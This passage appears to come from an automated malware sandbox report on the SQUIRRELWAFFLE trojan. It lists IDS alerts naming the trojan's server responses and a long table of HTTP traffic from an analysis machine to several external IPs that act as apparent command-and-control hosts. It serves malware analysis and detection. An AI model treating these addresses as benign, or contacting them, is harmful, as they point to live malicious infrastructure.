10/04/21-16:04:40.611210	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50272	198.38.82.168	192.168.2.3
10/04/21-16:04:40.806686	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50273	198.38.82.168	192.168.2.3
10/04/21-16:04:40.806686	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50273	198.38.82.168	192.168.2.3
10/04/21-16:04:41.609773	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50275	198.38.82.168	192.168.2.3
10/04/21-16:04:41.609773	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50275	198.38.82.168	192.168.2.3
10/04/21-16:04:42.510097	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50278	198.38.82.168	192.168.2.3
10/04/21-16:04:42.510097	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50278	198.38.82.168	192.168.2.3
10/04/21-16:04:43.466658	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50280	198.38.82.168	192.168.2.3
10/04/21-16:04:43.466658	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50280	198.38.82.168	192.168.2.3
10/04/21-16:04:44.250475	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50283	198.38.82.168	192.168.2.3
10/04/21-16:04:44.250475	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50283	198.38.82.168	192.168.2.3
10/04/21-16:05:03.055380	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50294	198.38.82.168	192.168.2.3
10/04/21-16:05:03.055380	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50294	198.38.82.168	192.168.2.3
10/04/21-16:05:03.937528	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50295	198.38.82.168	192.168.2.3
10/04/21-16:05:03.937528	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50295	198.38.82.168	192.168.2.3
10/04/21-16:05:10.184801	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50297	198.38.82.168	192.168.2.3
10/04/21-16:05:10.184801	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50297	198.38.82.168	192.168.2.3
10/04/21-16:05:10.200368	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50298	198.38.82.168	192.168.2.3
10/04/21-16:05:10.200368	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50298	198.38.82.168	192.168.2.3
10/04/21-16:05:34.887759	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50299	198.38.82.168	192.168.2.3
10/04/21-16:05:34.887759	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50299	198.38.82.168	192.168.2.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 4, 2021 16:01:08.345355034 CEST	49753	80	192.168.2.3	165.227.90.171
Oct 4, 2021 16:01:08.440768957 CEST	80	49753	165.227.90.171	192.168.2.3
Oct 4, 2021 16:01:08.440951109 CEST	49753	80	192.168.2.3	165.227.90.171
Oct 4, 2021 16:01:08.441149950 CEST	49753	80	192.168.2.3	165.227.90.171
Oct 4, 2021 16:01:08.441215992 CEST	49753	80	192.168.2.3	165.227.90.171
Oct 4, 2021 16:01:08.536123991 CEST	80	49753	165.227.90.171	192.168.2.3
Oct 4, 2021 16:01:08.538978100 CEST	80	49753	165.227.90.171	192.168.2.3
Oct 4, 2021 16:01:08.539464951 CEST	49753	80	192.168.2.3	165.227.90.171
Oct 4, 2021 16:01:08.861726046 CEST	49754	80	192.168.2.3	199.193.116.170
Oct 4, 2021 16:01:09.003545046 CEST	80	49754	199.193.116.170	192.168.2.3
Oct 4, 2021 16:01:09.003664970 CEST	49754	80	192.168.2.3	199.193.116.170
Oct 4, 2021 16:01:09.003901005 CEST	49754	80	192.168.2.3	199.193.116.170
Oct 4, 2021 16:01:09.003957033 CEST	49754	80	192.168.2.3	199.193.116.170
Oct 4, 2021 16:01:09.145649910 CEST	80	49754	199.193.116.170	192.168.2.3
Oct 4, 2021 16:01:09.185214043 CEST	80	49754	199.193.116.170	192.168.2.3
Oct 4, 2021 16:01:09.242959023 CEST	80	49754	199.193.116.170	192.168.2.3
Oct 4, 2021 16:01:09.242985010 CEST	80	49754	199.193.116.170	192.168.2.3
Oct 4, 2021 16:01:09.243328094 CEST	49754	80	192.168.2.3	199.193.116.170
Oct 4, 2021 16:01:09.555879116 CEST	49755	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:09.673307896 CEST	80	49755	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:09.673402071 CEST	49755	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:09.673619032 CEST	49755	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:09.673667908 CEST	49755	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:09.792252064 CEST	80	49755	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:09.831666946 CEST	80	49755	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:10.123657942 CEST	80	49755	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:10.123692036 CEST	80	49755	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:10.123871088 CEST	49755	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:10.217803001 CEST	49756	80	192.168.2.3	165.227.90.171
Oct 4, 2021 16:01:10.315279007 CEST	80	49756	165.227.90.171	192.168.2.3
Oct 4, 2021 16:01:10.316083908 CEST	49756	80	192.168.2.3	165.227.90.171
Oct 4, 2021 16:01:10.316231012 CEST	49756	80	192.168.2.3	165.227.90.171
Oct 4, 2021 16:01:10.316236973 CEST	49756	80	192.168.2.3	165.227.90.171
Oct 4, 2021 16:01:10.412110090 CEST	80	49756	165.227.90.171	192.168.2.3
Oct 4, 2021 16:01:10.423461914 CEST	80	49756	165.227.90.171	192.168.2.3
Oct 4, 2021 16:01:10.423588991 CEST	49756	80	192.168.2.3	165.227.90.171
Oct 4, 2021 16:01:10.430265903 CEST	49757	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:10.587626934 CEST	80	49757	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:10.587766886 CEST	49757	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:10.588013887 CEST	49757	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:10.588078976 CEST	49757	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:10.672750950 CEST	49758	80	192.168.2.3	199.193.116.170
Oct 4, 2021 16:01:10.747908115 CEST	80	49757	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:10.787307978 CEST	80	49757	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:10.816996098 CEST	80	49758	199.193.116.170	192.168.2.3
Oct 4, 2021 16:01:10.817218065 CEST	49758	80	192.168.2.3	199.193.116.170
Oct 4, 2021 16:01:10.817383051 CEST	49758	80	192.168.2.3	199.193.116.170
Oct 4, 2021 16:01:10.817428112 CEST	49758	80	192.168.2.3	199.193.116.170
Oct 4, 2021 16:01:10.958410978 CEST	80	49758	199.193.116.170	192.168.2.3
Oct 4, 2021 16:01:10.997633934 CEST	80	49758	199.193.116.170	192.168.2.3
Oct 4, 2021 16:01:11.050757885 CEST	80	49758	199.193.116.170	192.168.2.3
Oct 4, 2021 16:01:11.050795078 CEST	80	49758	199.193.116.170	192.168.2.3
Oct 4, 2021 16:01:11.050872087 CEST	49758	80	192.168.2.3	199.193.116.170
Oct 4, 2021 16:01:11.074911118 CEST	80	49757	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:11.074954033 CEST	80	49757	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:11.075078964 CEST	49757	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:11.327574968 CEST	49759	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:11.428519964 CEST	49760	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:11.483952045 CEST	80	49759	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:11.484113932 CEST	49759	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:11.484220982 CEST	49759	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:11.484272003 CEST	49759	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:11.543595076 CEST	80	49760	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:11.544482946 CEST	49760	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:11.544667959 CEST	49760	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:11.544673920 CEST	49760	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:11.640289068 CEST	80	49759	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:11.659462929 CEST	80	49760	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:11.680264950 CEST	80	49759	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:11.699801922 CEST	80	49760	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:11.974344015 CEST	80	49759	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:11.974414110 CEST	80	49759	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:11.974534988 CEST	49759	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:11.996861935 CEST	80	49760	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:11.996933937 CEST	80	49760	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:11.997148991 CEST	49760	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:12.384273052 CEST	49761	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:12.385134935 CEST	49762	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:12.498990059 CEST	80	49761	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:12.501156092 CEST	49761	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:12.501310110 CEST	49761	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:12.501400948 CEST	49761	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:12.544452906 CEST	80	49762	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:12.544836998 CEST	49762	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:12.545015097 CEST	49762	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:12.545099020 CEST	49762	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:12.616029978 CEST	80	49761	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:12.655827999 CEST	80	49761	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:12.704073906 CEST	80	49762	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:12.743447065 CEST	80	49762	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:12.955235958 CEST	80	49761	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:12.955495119 CEST	80	49761	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:12.958374023 CEST	49761	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:13.081686020 CEST	80	49762	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:13.081813097 CEST	80	49762	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:13.081883907 CEST	49762	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:13.226275921 CEST	49763	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:13.331535101 CEST	49764	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:13.386141062 CEST	80	49763	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:13.386280060 CEST	49763	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:13.386563063 CEST	49763	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:13.386665106 CEST	49763	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:13.487766027 CEST	80	49764	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:13.490907907 CEST	49764	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:13.493150949 CEST	49764	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:13.493247986 CEST	49764	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:13.547255039 CEST	80	49763	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:13.587238073 CEST	80	49763	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:13.649621010 CEST	80	49764	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:13.689198971 CEST	80	49764	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:13.962722063 CEST	80	49763	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:13.962847948 CEST	80	49763	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:13.962923050 CEST	49763	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:14.120012999 CEST	80	49764	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:14.120177984 CEST	80	49764	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:14.120242119 CEST	49764	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:14.341515064 CEST	49765	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:14.395144939 CEST	49766	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:14.457756996 CEST	80	49765	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:14.457856894 CEST	49765	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:14.458041906 CEST	49765	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:14.458108902 CEST	49765	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:14.513281107 CEST	80	49766	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:14.513391018 CEST	49766	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:14.513691902 CEST	49766	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:14.513813019 CEST	49766	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:14.572441101 CEST	80	49765	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:14.612756968 CEST	80	49765	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:14.631490946 CEST	80	49766	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:14.671715021 CEST	80	49766	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:14.938431978 CEST	80	49765	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:14.938713074 CEST	80	49765	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:14.938774109 CEST	49765	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:14.953470945 CEST	80	49766	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:14.953860044 CEST	80	49766	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:14.953928947 CEST	49766	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:15.219219923 CEST	49767	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:15.227679014 CEST	49768	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:15.375644922 CEST	80	49767	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:15.375864029 CEST	49767	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:15.376029968 CEST	49767	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:15.376097918 CEST	49767	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:15.387082100 CEST	80	49768	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:15.387259007 CEST	49768	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:15.387525082 CEST	49768	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:15.387598038 CEST	49768	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:15.533046961 CEST	80	49767	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:15.546605110 CEST	80	49768	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:15.572477102 CEST	80	49767	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:15.586354017 CEST	80	49768	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:15.879810095 CEST	80	49768	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:15.880079985 CEST	80	49768	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:15.880213976 CEST	49768	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:15.924535036 CEST	80	49767	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:15.924561977 CEST	80	49767	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:15.924727917 CEST	49767	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:16.103051901 CEST	49769	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:16.217370987 CEST	49770	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:16.262200117 CEST	80	49769	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:16.263796091 CEST	49769	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:16.263830900 CEST	49769	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:16.263838053 CEST	49769	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:16.332778931 CEST	80	49770	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:16.332921028 CEST	49770	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:16.333136082 CEST	49770	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:16.333211899 CEST	49770	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:16.422938108 CEST	80	49769	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:16.447772980 CEST	80	49770	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:16.462213039 CEST	80	49769	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:16.487715960 CEST	80	49770	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:16.784605026 CEST	80	49770	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:16.784933090 CEST	80	49770	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:16.785099983 CEST	49770	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:16.799922943 CEST	80	49769	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:16.799945116 CEST	80	49769	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:16.800064087 CEST	49769	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:17.046227932 CEST	49771	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:17.124460936 CEST	49772	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:17.206177950 CEST	80	49771	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:17.208873987 CEST	49771	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:17.209060907 CEST	49771	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:17.209150076 CEST	49771	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:17.242135048 CEST	80	49772	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:17.242460012 CEST	49772	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:17.242490053 CEST	49772	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:17.245069981 CEST	49772	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:17.361912012 CEST	80	49772	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:17.368933916 CEST	80	49771	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:17.406186104 CEST	80	49772	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:17.410149097 CEST	80	49771	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:17.697683096 CEST	80	49772	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:17.697963953 CEST	80	49772	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:17.698060989 CEST	49772	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:17.716084003 CEST	80	49771	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:17.716106892 CEST	80	49771	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:17.716181993 CEST	49771	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:17.969429016 CEST	49773	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:17.988384008 CEST	49774	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:18.128355026 CEST	80	49773	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:18.128452063 CEST	49773	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:18.128675938 CEST	49773	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:18.128748894 CEST	49773	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:18.147520065 CEST	80	49774	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:18.149422884 CEST	49774	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:18.149640083 CEST	49774	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:18.149733067 CEST	49774	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:18.289241076 CEST	80	49773	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:18.309607029 CEST	80	49774	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:18.327219009 CEST	80	49773	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:18.350684881 CEST	80	49774	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:18.615554094 CEST	80	49773	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:18.615585089 CEST	80	49773	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:18.615755081 CEST	49773	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:18.639976025 CEST	80	49774	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:18.640002966 CEST	80	49774	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:18.640191078 CEST	49774	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:19.268495083 CEST	49775	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:19.302867889 CEST	49776	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:19.421664000 CEST	80	49776	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:19.422446966 CEST	49776	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:19.422477007 CEST	49776	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:19.422482014 CEST	49776	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:19.435292959 CEST	80	49775	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:19.436769009 CEST	49775	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:19.436805010 CEST	49775	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:19.436810970 CEST	49775	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:19.543905020 CEST	80	49776	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:19.543930054 CEST	80	49776	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:19.582954884 CEST	80	49776	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:19.619149923 CEST	80	49775	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:19.639976978 CEST	80	49775	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:19.941987991 CEST	80	49776	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:19.942040920 CEST	80	49776	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:19.942084074 CEST	80	49775	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:19.942126989 CEST	80	49775	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:19.942377090 CEST	49775	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:19.952336073 CEST	49776	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:20.943846941 CEST	49777	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:21.100275993 CEST	80	49777	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:21.100394964 CEST	49777	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:21.100663900 CEST	49777	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:21.100774050 CEST	49777	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:21.256710052 CEST	80	49777	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:21.296211004 CEST	80	49777	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:21.319703102 CEST	49778	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:21.434288025 CEST	80	49778	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:21.434815884 CEST	49778	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:21.434856892 CEST	49778	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:21.434890985 CEST	49778	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:21.549432039 CEST	80	49778	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:21.589682102 CEST	80	49778	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:21.618535042 CEST	80	49777	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:21.618690014 CEST	80	49777	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:21.618772984 CEST	49777	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:21.879231930 CEST	80	49778	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:21.879256964 CEST	80	49778	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:21.879564047 CEST	49778	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:23.895760059 CEST	49779	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:23.911468029 CEST	49780	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:24.013397932 CEST	80	49779	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:24.013499022 CEST	49779	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:24.013691902 CEST	49779	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:24.013762951 CEST	49779	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:24.029112101 CEST	80	49780	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:24.029203892 CEST	49780	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:24.029465914 CEST	49780	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:24.029516935 CEST	49780	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:24.131581068 CEST	80	49779	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:24.148399115 CEST	80	49780	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:24.171447992 CEST	80	49779	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:24.187644005 CEST	80	49780	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:24.473870039 CEST	80	49780	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:24.473890066 CEST	80	49780	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:24.474967003 CEST	49780	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:24.479283094 CEST	80	49779	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:24.479295015 CEST	80	49779	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:24.479773998 CEST	49779	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:24.749842882 CEST	49781	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:24.893838882 CEST	80	49781	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:24.897634029 CEST	49781	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:24.897769928 CEST	49781	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:24.897840977 CEST	49781	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:25.017381907 CEST	80	49781	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:25.036218882 CEST	49782	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:25.057770967 CEST	80	49781	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:25.195372105 CEST	80	49782	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:25.195628881 CEST	49782	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:25.195910931 CEST	49782	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:25.195986032 CEST	49782	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:25.355330944 CEST	80	49782	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:25.366281986 CEST	80	49781	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:25.366395950 CEST	80	49781	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:25.366518021 CEST	49781	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:25.394316912 CEST	80	49782	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:25.609718084 CEST	49783	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:25.686084986 CEST	80	49782	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:25.686188936 CEST	80	49782	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:25.686275959 CEST	49782	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:25.727647066 CEST	80	49783	198.38.82.168	192.168.2.3
